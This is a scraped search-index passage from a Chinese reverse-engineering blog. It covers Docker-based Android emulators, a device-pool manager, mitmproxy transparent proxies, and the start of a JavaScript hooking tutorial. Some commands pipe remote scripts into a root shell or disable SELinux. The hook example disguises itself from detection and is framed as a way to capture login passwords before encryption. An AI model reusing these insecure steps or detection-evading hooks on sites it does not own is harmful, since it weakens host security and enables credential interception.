","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#docker-部署"},{"categories":null,"collections":null,"content":"2.3 Redroid (Remote Android) Redroid 是基于 Docker 的 Android 容器化方案，性能优秀，适合大规模部署。 系统要求 # 检查内核模块 lsmod | grep -E \"binder|ashmem\" # 如果没有，需要加载或安装 # Ubuntu 20.04+ sudo apt install linux-modules-extra-$(uname -r) sudo modprobe binder_linux devices=\"binder,hwbinder,vndbinder\" sudo modprobe ashmem_linux # 持久化加载 echo \"binder_linux\" | sudo tee /etc/modules-load.d/binder.conf echo \"ashmem_linux\" | sudo tee /etc/modules-load.d/ashmem.conf echo \"options binder_linux devices=binder,hwbinder,vndbinder\" | sudo tee /etc/modprobe.d/binder.conf Docker 部署 # 单实例启动 docker run -d --name redroid \\ --privileged \\ --memory 4g \\ --cpus 4 \\ -v ~/redroid-data:/data \\ -p 5555:5555 \\ redroid/redroid:12.0.0-latest \\ androidboot.redroid_width=1080 \\ androidboot.redroid_height=1920 \\ androidboot.redroid_dpi=440 \\ androidboot.redroid_fps=60 # 连接设备 adb connect localhost:5555 adb devices docker-compose 多实例部署 # docker-compose.yml version: \"3.8\" x-redroid-common: \u0026redroid-common image: redroid/redroid:12.0.0-latest privileged: true mem_limit: 4g cpus: 2 command: - androidboot.redroid_width=1080 - androidboot.redroid_height=1920 - androidboot.redroid_dpi=440 - androidboot.redroid_fps=30 - androidboot.redroid_gpu_mode=guest services: # Android 实例 redroid-1: \u003c\u003c: *redroid-common container_name: redroid-1 ports: - \"5555:5555\" volumes: - ./data/device-1:/data redroid-2: \u003c\u003c: *redroid-common container_name: redroid-2 ports: - \"5556:5555\" volumes: - ./data/device-2:/data redroid-3: \u003c\u003c: *redroid-common container_name: redroid-3 ports: - \"5557:5555\" volumes: - ./data/device-3:/data # 支撑服务 redis: image: redis:7-alpine container_name: redis ports: - \"6379:6379\" volumes: - ./data/redis:/data mitmproxy: image: mitmproxy/mitmproxy:latest container_name: mitmproxy ports: - \"8080:8080\" - \"8081:8081\" command: mitmweb --web-host 0.0.0.0 volumes: - ./data/mitmproxy:/home/mitmproxy/.mitmproxy mongodb: image: mongo:6 container_name: mongodb ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - ./data/mongodb:/data/db networks: default: driver: bridge ipam: config: - subnet: 172.28.0.0/16 启动与管理 # 启动所有服务 docker-compose up -d # 批量连接设备 for port in 5555 5556 5557; do adb connect localhost:$port done # 查看设备状态 adb devices # 批量安装 APK APK_PATH=\"./target.apk\" for device in $(adb devices | grep -v \"List\" | awk '{print $1}'); do echo \"Installing on $device...\" adb -s $device install -r $APK_PATH \u0026 done wait # 停止所有服务 docker-compose down ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#docker-compose-多实例部署"},{"categories":null,"collections":null,"content":"2.3 Redroid (Remote Android) Redroid 是基于 Docker 的 Android 容器化方案，性能优秀，适合大规模部署。 系统要求 # 检查内核模块 lsmod | grep -E \"binder|ashmem\" # 如果没有，需要加载或安装 # Ubuntu 20.04+ sudo apt install linux-modules-extra-$(uname -r) sudo modprobe binder_linux devices=\"binder,hwbinder,vndbinder\" sudo modprobe ashmem_linux # 持久化加载 echo \"binder_linux\" | sudo tee /etc/modules-load.d/binder.conf echo \"ashmem_linux\" | sudo tee /etc/modules-load.d/ashmem.conf echo \"options binder_linux devices=binder,hwbinder,vndbinder\" | sudo tee /etc/modprobe.d/binder.conf Docker 部署 # 单实例启动 docker run -d --name redroid \\ --privileged \\ --memory 4g \\ --cpus 4 \\ -v ~/redroid-data:/data \\ -p 5555:5555 \\ redroid/redroid:12.0.0-latest \\ androidboot.redroid_width=1080 \\ androidboot.redroid_height=1920 \\ androidboot.redroid_dpi=440 \\ androidboot.redroid_fps=60 # 连接设备 adb connect localhost:5555 adb devices docker-compose 多实例部署 # docker-compose.yml version: \"3.8\" x-redroid-common: \u0026redroid-common image: redroid/redroid:12.0.0-latest privileged: true mem_limit: 4g cpus: 2 command: - androidboot.redroid_width=1080 - androidboot.redroid_height=1920 - androidboot.redroid_dpi=440 - androidboot.redroid_fps=30 - androidboot.redroid_gpu_mode=guest services: # Android 实例 redroid-1: \u003c\u003c: *redroid-common container_name: redroid-1 ports: - \"5555:5555\" volumes: - ./data/device-1:/data redroid-2: \u003c\u003c: *redroid-common container_name: redroid-2 ports: - \"5556:5555\" volumes: - ./data/device-2:/data redroid-3: \u003c\u003c: *redroid-common container_name: redroid-3 ports: - \"5557:5555\" volumes: - ./data/device-3:/data # 支撑服务 redis: image: redis:7-alpine container_name: redis ports: - \"6379:6379\" volumes: - ./data/redis:/data mitmproxy: image: mitmproxy/mitmproxy:latest container_name: mitmproxy ports: - \"8080:8080\" - \"8081:8081\" command: mitmweb --web-host 0.0.0.0 volumes: - ./data/mitmproxy:/home/mitmproxy/.mitmproxy mongodb: image: mongo:6 container_name: mongodb ports: - \"27017:27017\" environment: MONGO_INITDB_ROOT_USERNAME: admin MONGO_INITDB_ROOT_PASSWORD: password volumes: - ./data/mongodb:/data/db networks: default: driver: bridge ipam: config: - subnet: 172.28.0.0/16 启动与管理 # 启动所有服务 docker-compose up -d # 批量连接设备 for port in 5555 5556 5557; do adb connect localhost:$port done # 查看设备状态 adb devices # 批量安装 APK APK_PATH=\"./target.apk\" for device in $(adb devices | grep -v \"List\" | awk '{print $1}'); do echo \"Installing on $device...\" adb -s $device install -r $APK_PATH \u0026 done wait # 停止所有服务 docker-compose down ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#启动与管理"},{"categories":null,"collections":null,"content":"2.4 Waydroid Waydroid 基于 LXC 容器，性能接近原生，适合本地开发。 # Ubuntu 安装 sudo apt install curl ca-certificates -y curl https://repo.waydro.id | sudo bash sudo apt install waydroid -y # 初始化 (选择 GAPPS 版本包含 Google 服务) sudo waydroid init -s GAPPS # 启动 Waydroid 容器 sudo systemctl start waydroid-container # 启动 Waydroid 会话 (需要图形界面) waydroid session start # 安装应用 waydroid app install ./app.apk # ADB 连接 adb connect 192.168.240.112:5555 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:2:4","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#24-waydroid"},{"categories":null,"collections":null,"content":"3. 容器化工程实践 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:3:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#3-容器化工程实践"},{"categories":null,"collections":null,"content":"3.1 自动化测试环境容器 # Dockerfile.automation FROM python:3.11-slim # 安装系统依赖 RUN apt-get update \u0026\u0026 apt-get install -y \\ android-tools-adb \\ android-tools-fastboot \\ openjdk-17-jdk-headless \\ curl \\ wget \\ git \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* # 安装 Node.js (Appium 依赖) RUN curl -fsSL https://deb.nodesource.com/setup_18.x | bash - \\ \u0026\u0026 apt-get install -y nodejs # 安装 Appium RUN npm install -g appium@2.0.0 \\ \u0026\u0026 appium driver install uiautomator2 # 安装 Python 依赖 WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # 复制测试脚本 COPY scripts/ ./scripts/ COPY configs/ ./configs/ # 启动入口 COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh ENTRYPOINT [\"/entrypoint.sh\"] requirements.txt: frida-tools==12.3.0 objection==1.11.0 Appium-Python-Client==3.0.0 uiautomator2==3.0.0 adbutils==2.0.0 pymongo==4.6.0 redis==5.0.0 celery==5.3.0 requests==2.31.0 entrypoint.sh: #!/bin/bash set -e # 启动 ADB 服务 adb start-server # 等待设备连接 echo \"Waiting for devices...\" DEVICES=${ANDROID_DEVICES:-\"localhost:5555\"} for device in ${DEVICES//,/ }; do echo \"Connecting to $device...\" adb connect $device adb -s $device wait-for-device done # 启动 Appium 服务 (后台) if [ \"$START_APPIUM\" = \"true\" ]; then appium --address 0.0.0.0 --port 4723 \u0026 sleep 5 fi # 执行传入的命令 exec \"$@\" ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:3:1","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#31-自动化测试环境容器"},{"categories":null,"collections":null,"content":"3.2 完整的 CI/CD 集成 # .gitlab-ci.yml stages: - build - test - deploy variables: DOCKER_HOST: tcp://docker:2375 ANDROID_DEVICES: \"redroid-1:5555,redroid-2:5555,redroid-3:5555\" # 构建测试镜像 build-test-image: stage: build image: docker:24 services: - docker:24-dind script: - docker build -t automation:$CI_COMMIT_SHA -f Dockerfile.automation . - docker push $CI_REGISTRY_IMAGE/automation:$CI_COMMIT_SHA # 运行自动化测试 run-android-tests: stage: test image: docker:24 services: - docker:24-dind - name: redroid/redroid:12.0.0-latest alias: redroid-1 command: [\"androidboot.redroid_width=1080\", \"androidboot.redroid_height=1920\"] - name: redroid/redroid:12.0.0-latest alias: redroid-2 command: [\"androidboot.redroid_width=1080\", \"androidboot.redroid_height=1920\"] script: - docker run --rm -e ANDROID_DEVICES=$ANDROID_DEVICES -e START_APPIUM=true -v $PWD/reports:/app/reports $CI_REGISTRY_IMAGE/automation:$CI_COMMIT_SHA pytest scripts/tests/ --junitxml=/app/reports/results.xml artifacts: reports: junit: reports/results.xml paths: - reports/ when: always ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:3:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#32-完整的-cicd-集成"},{"categories":null,"collections":null,"content":"3.3 设备池管理服务 # device_pool.py import redis import adbutils from dataclasses import dataclass from typing import Optional, List import threading import time @dataclass class Device: serial: str status: str # available, busy, offline android_version: str assigned_to: Optional[str] = None class DevicePool: \"\"\"设备池管理器\"\"\" def __init__(self, redis_url: str = \"redis://localhost:6379\"): self.redis = redis.from_url(redis_url) self.adb = adbutils.AdbClient() self.lock = threading.Lock() self._refresh_interval = 30 self._running = False def discover_devices(self) -\u003e List[Device]: \"\"\"发现所有已连接设备\"\"\" devices = [] for d in self.adb.device_list(): try: version = d.shell(\"getprop ro.build.version.release\").strip() devices.append(Device( serial=d.serial, status=\"available\", android_version=version )) except Exception as e: print(f\"Error discovering {d.serial}: {e}\") return devices def register_devices(self, devices: List[Device]): \"\"\"注册设备到 Redis\"\"\" pipe = self.redis.pipeline() for device in devices: key = f\"device:{device.serial}\" pipe.hset(key, mapping={ \"serial\": device.serial, \"status\": device.status, \"android_version\": device.android_version, \"assigned_to\": device.assigned_to or \"\" }) pipe.sadd(\"devices:all\", device.serial) if device.status == \"available\": pipe.sadd(\"devices:available\", device.serial) pipe.execute() def acquire_device(self, task_id: str, min_version: str = None) -\u003e Optional[Device]: \"\"\"获取一个可用设备\"\"\" with self.lock: # 从可用设备集合中获取 serial = self.redis.spop(\"devices:available\") if not serial: return None serial = serial.decode() if isinstance(serial, bytes) else serial key = f\"device:{serial}\" # 检查版本要求 if min_version: version = self.redis.hget(key, \"android_version\") version = version.decode() if version else \"0\" if version \u003c min_version: # 放回并继续找 self.redis.sadd(\"devices:available\", serial) return self.acquire_device(task_id, min_version) # 标记为占用 self.redis.hset(key, mapping={ \"status\": \"busy\", \"assigned_to\": task_id }) data = self.redis.hgetall(key) return Device( serial=serial, status=\"busy\", android_version=data.get(b\"android_version\", b\"\").decode(), assigned_to=task_id ) def release_device(self, serial: str): \"\"\"释放设备\"\"\" key = f\"device:{serial}\" self.redis.hset(key, mapping={ \"status\": \"available\", \"assigned_to\": \"\" }) self.redis.sadd(\"devices:available\", serial) def get_stats(self) -\u003e dict: \"\"\"获取设备池统计\"\"\" total = self.redis.scard(\"devices:all\") available = self.redis.scard(\"devices:available\") return { \"total\": total, \"available\": available, \"busy\": total - available } def start_health_check(self): \"\"\"启动健康检查线程\"\"\" self._running = True def check_loop(): while self._running: try: self._check_device_health() except Exception as e: print(f\"Health check error: {e}\") time.sleep(self._refresh_interval) thread = threading.Thread(target=check_loop, daemon=True) thread.start() def _check_device_health(self): \"\"\"检查设备健康状态\"\"\" all_serials = self.redis.smembers(\"devices:all\") connected = {d.serial for d in self.adb.device_list()} for serial in all_serials: serial = serial.decode() if isinstance(serial, bytes) else serial key = f\"device:{serial}\" if serial not in connected: # 设备离线 self.redis.hset(key, \"status\", \"offline\") self.redis.srem(\"devices:available\", serial) else: # 检查是否需要恢复 status = self.redis.hget(key, \"status\") if status == b\"offline\": self.redis.hset(key, \"status\", \"available\") self.redis.sadd(\"devices:available\", serial) # 使用示例 if __name__ == \"__main__\": pool = DevicePool() # 发现并注册设备 devices = pool.discover_devices() pool.register_devices(devices) print(f\"Registered {len(devices)} devices\") # 启动健康检查 pool.start_health_check() # 获取设备执行任务 device = pool.acquire_device(\"task-001\", min_version=\"11\") if device: print(f\"Acquired device: {device.serial}\") try: # 执行任务... adb = adbutils.AdbClient() d = adb.device(device.serial) d.shell(\"pm list packages\") finally: pool.release_device(device.serial) print(pool.get_stats()) ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:3:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#33-设备池管理服务"},{"categories":null,"collections":null,"content":"4. GPU 虚拟化与渲染 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:4:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#4-gpu-虚拟化与渲染"},{"categories":null,"collections":null,"content":"4.1 GPU 透传配置 对于需要图形渲染的场景（游戏测试、UI 自动化），GPU 加速至关重要。 # 检查 GPU 驱动 nvidia-smi # Docker GPU 支持 # 安装 NVIDIA Container Toolkit distribution=$(. /etc/os-release;echo $ID$VERSION_ID) curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | \\ sudo tee /etc/apt/sources.list.d/nvidia-docker.list sudo apt-get update sudo apt-get install -y nvidia-container-toolkit sudo systemctl restart docker # 验证 GPU 访问 docker run --rm --gpus all nvidia/cuda:12.0-base nvidia-smi # docker-compose with GPU services: redroid-gpu: image: redroid/redroid:12.0.0-latest privileged: true deploy: resources: reservations: devices: - driver: nvidia count: 1 capabilities: [gpu] environment: - NVIDIA_VISIBLE_DEVICES=all command: - androidboot.redroid_gpu_mode=host - androidboot.redroid_gpu_node=/dev/dri/renderD128 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:4:1","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#41-gpu-透传配置"},{"categories":null,"collections":null,"content":"4.2 VirGL 软件渲染 无 GPU 服务器可使用 VirGL 软件渲染： # 安装 virglrenderer sudo apt install virglrenderer-dev libvirglrenderer1 # Redroid 使用 guest GPU 模式 docker run -d --name redroid \\ --privileged \\ redroid/redroid:12.0.0-latest \\ androidboot.redroid_gpu_mode=guest ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:4:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#42-virgl-软件渲染"},{"categories":null,"collections":null,"content":"5. 网络隔离与代理 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:5:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#5-网络隔离与代理"},{"categories":null,"collections":null,"content":"5.1 每设备独立网络 # docker-compose with isolated networks version: \"3.8\" services: redroid-1: image: redroid/redroid:12.0.0-latest privileged: true networks: device-net-1: ipv4_address: 172.20.1.2 dns: - 8.8.8.8 proxy-1: image: mitmproxy/mitmproxy networks: device-net-1: ipv4_address: 172.20.1.1 command: mitmdump --mode transparent --showhost redroid-2: image: redroid/redroid:12.0.0-latest privileged: true networks: device-net-2: ipv4_address: 172.20.2.2 networks: device-net-1: driver: bridge ipam: config: - subnet: 172.20.1.0/24 device-net-2: driver: bridge ipam: config: - subnet: 172.20.2.0/24 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:5:1","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#51-每设备独立网络"},{"categories":null,"collections":null,"content":"5.2 透明代理配置 #!/bin/bash # setup_transparent_proxy.sh PROXY_IP=\"172.20.1.1\" PROXY_PORT=\"8080\" DEVICE_SUBNET=\"172.20.1.0/24\" # 启用 IP 转发 sysctl -w net.ipv4.ip_forward=1 # 配置 iptables 透明代理 iptables -t nat -A PREROUTING -s $DEVICE_SUBNET -p tcp --dport 80 \\ -j REDIRECT --to-port $PROXY_PORT iptables -t nat -A PREROUTING -s $DEVICE_SUBNET -p tcp --dport 443 \\ -j REDIRECT --to-port $PROXY_PORT echo \"Transparent proxy configured for $DEVICE_SUBNET -\u003e $PROXY_IP:$PROXY_PORT\" ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:5:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#52-透明代理配置"},{"categories":null,"collections":null,"content":"6. 性能优化 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:6:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#6-性能优化"},{"categories":null,"collections":null,"content":"6.1 资源限制最佳实践 场景 CPU 内存 存储 轻量级任务 (爬虫) 1-2 核 2GB 8GB 常规测试 2-4 核 4GB 16GB 游戏/重度 UI 4-8 核 6-8GB 32GB ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:6:1","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#61-资源限制最佳实践"},{"categories":null,"collections":null,"content":"6.2 I/O 优化 # 使用 tmpfs 提升 I/O 性能 services: redroid: image: redroid/redroid:12.0.0-latest privileged: true tmpfs: - /data/dalvik-cache:size=512m - /data/local/tmp:size=256m volumes: - type: tmpfs target: /dev/shm tmpfs: size: 268435456 # 256MB ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:6:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#62-io-优化"},{"categories":null,"collections":null,"content":"6.3 批量操作优化脚本 # parallel_operations.py import asyncio import adbutils from concurrent.futures import ThreadPoolExecutor async def install_apk_parallel(devices: list, apk_path: str, max_workers: int = 10): \"\"\"并行安装 APK 到多个设备\"\"\" def install_on_device(serial: str): try: adb = adbutils.AdbClient() device = adb.device(serial) device.install(apk_path, reinstall=True) return serial, True, None except Exception as e: return serial, False, str(e) loop = asyncio.get_event_loop() with ThreadPoolExecutor(max_workers=max_workers) as executor: tasks = [ loop.run_in_executor(executor, install_on_device, d) for d in devices ] results = await asyncio.gather(*tasks) success = [r[0] for r in results if r[1]] failed = [(r[0], r[2]) for r in results if not r[1]] print(f\"Success: {len(success)}, Failed: {len(failed)}\") for serial, error in failed: print(f\" {serial}: {error}\") return success, failed # 使用 if __name__ == \"__main__\": devices = [\"localhost:5555\", \"localhost:5556\", \"localhost:5557\"] asyncio.run(install_apk_parallel(devices, \"./app.apk\")) ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:6:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#63-批量操作优化脚本"},{"categories":null,"collections":null,"content":"7. 常见问题排查 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:7:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#7-常见问题排查"},{"categories":null,"collections":null,"content":"7.1 Redroid 启动失败 # 问题: binder 驱动未加载 dmesg | grep -i binder # 解决: 加载内核模块 sudo modprobe binder_linux devices=\"binder,hwbinder,vndbinder\" # 问题: 权限不足 # 解决: 确保使用 --privileged 或正确的 capabilities docker run --privileged ... # 问题: SELinux 阻止 # 解决: 临时禁用或配置策略 sudo setenforce 0 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:7:1","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#71-redroid-启动失败"},{"categories":null,"collections":null,"content":"7.2 ADB 连接问题 # 检查设备状态 adb devices -l # 重置 ADB 服务 adb kill-server \u0026\u0026 adb start-server # 指定端口连接 adb connect 192.168.1.100:5555 # 检查网络连通性 docker exec redroid-1 ping -c 3 host.docker.internal ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:7:2","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#72-adb-连接问题"},{"categories":null,"collections":null,"content":"7.3 性能问题诊断 # 检查容器资源使用 docker stats redroid-1 redroid-2 redroid-3 # 检查 Android 系统负载 adb shell top -n 1 # 检查内存使用 adb shell cat /proc/meminfo # 检查存储空间 adb shell df -h ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:7:3","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#73-性能问题诊断"},{"categories":null,"collections":null,"content":"8. 总结 虚拟化和容器化是从\"手工作坊\"迈向\"工业化生产\"的第一步。 技术 解决的问题 关键优势 Android 模拟器 设备从哪里来 可大规模复制的隔离环境 Docker 容器 依赖如何管理 标准化、可移植的交付物 设备池管理 资源如何调度 动态分配、高效利用 网络隔离 流量如何控制 独立代理、精确监控 二者结合，为上层的自动化和群控系统提供了坚实、可靠、可扩展的基础设施。 推荐下一步：自动化设备农场 ","date":"2024-12-28","objectID":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/:8:0","tags":["Docker","签名验证","Frida","SSL Pinning","代理池","自动化"],"title":"工程化：虚拟化与容器技术","uri":"/reverse_engineering/android/01-recipes/automation/virtualization_and_containers/#8-总结"},{"categories":null,"collections":null,"content":"Hook (挂钩/劫持) 技术 掌握 JavaScript Hook 技术，拦截和修改函数调用，无需破解即可获取关键数据。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:0:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#hook-挂钩劫持-技术"},{"categories":null,"collections":null,"content":"配方信息 项目 说明 难度 ⭐⭐ (初级-中级) 预计时间 30 分钟 - 2 小时 所需工具 Chrome DevTools, Tampermonkey (可选) 适用场景 函数拦截、参数监控、返回值修改、反调试绕过 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:1:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#配方信息"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 JavaScript 基础 必需 JavaScript 基础 JavaScript 执行机制 推荐 JavaScript 执行机制 DOM 与 BOM 推荐 DOM 与 BOM Chrome DevTools 推荐 浏览器开发者工具 💡 提示: Hook 技术是 Web 逆向的核心技能，建议深入理解 JavaScript 的原型链和 this 绑定机制，这对编写高级 Hook 代码至关重要。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:2:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#-前置知识"},{"categories":null,"collections":null,"content":"学习目标 完成本配方后，你将能够： ✅ 理解 Hook 技术的核心原理 ✅ 使用覆盖法 Hook 全局函数 ✅ 使用 Object.defineProperty Hook 属性 ✅ 使用 Proxy 实现深度拦截 ✅ Hook 常见 Web API (fetch, XHR, crypto) ✅ 编写防检测的 Hook 代码 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:3:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#学习目标"},{"categories":null,"collections":null,"content":"思考时刻 在开始学习 Hook 技术之前，先思考几个问题： 你打过电话窃听的比喻吗？ Hook 技术和电话窃听有什么相似之处？ 如果函数是一个黑盒，你无法看到它的源码，怎么知道它在做什么？ 修改函数会破坏原有功能吗？ 如何在不影响业务的前提下\"偷听\"？ 实际场景： 一个网站的登录接口发送了加密密码，你如何在不破解加密算法的情况下，拿到加密前的明文？ 这些问题的答案，就是 Hook 技术的精髓。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:4:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#思考时刻"},{"categories":null,"collections":null,"content":"核心概念 Hook（挂钩/劫持）技术是 JS 逆向的灵魂。核心思想是：修改原函数的定义，插入我们的逻辑，再执行原函数。这允许我们像中间人一样，在不破坏业务逻辑的前提下，查看和修改参数、返回值。 Hook 的本质: 原流程: 调用者 → 函数 → 返回值 Hook后: 调用者 → 我们的代码 → 原函数 → 我们的代码 → 返回值 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:5:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#核心概念"},{"categories":null,"collections":null,"content":"1. 基础 Hook (覆盖法) 最简单粗暴的方法，直接把函数覆盖掉。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:6:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#1-基础-hook-覆盖法"},{"categories":null,"collections":null,"content":"示例: Hook alert let _alert = window.alert; // 1. 保存原函数 window.alert = function (msg) { // 2. 覆盖为新函数 console.log(\"[Hook] Alert called with:\", msg); // 3. 插入逻辑 debugger; // 方便调试断下 return _alert.apply(this, arguments); // 4. 调用（劫持）原函数 }; // 5. 伪装 toString (可选，防止被检测) window.alert.toString = function () { return \"function alert() { [native code] }\"; }; ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:6:1","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 技术","uri":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/#示例-hook-alert"},{"categories":null,"collections":null,"content":"2. Object.defineProperty (属性 Hook) 当某些变量是直接赋值而不是函数调用时（例如 document.cookie = \"xxx\"），我们需要 Hook 属性。 ","date":"2024-12-07","objectID":"/reverse_engineering/web/03-basic-recipes/hooking_techniques/:7:0","tags":["Web","Native层","代理池","加密分析","Hook","调试"],"title":"Hook (挂钩/劫持) 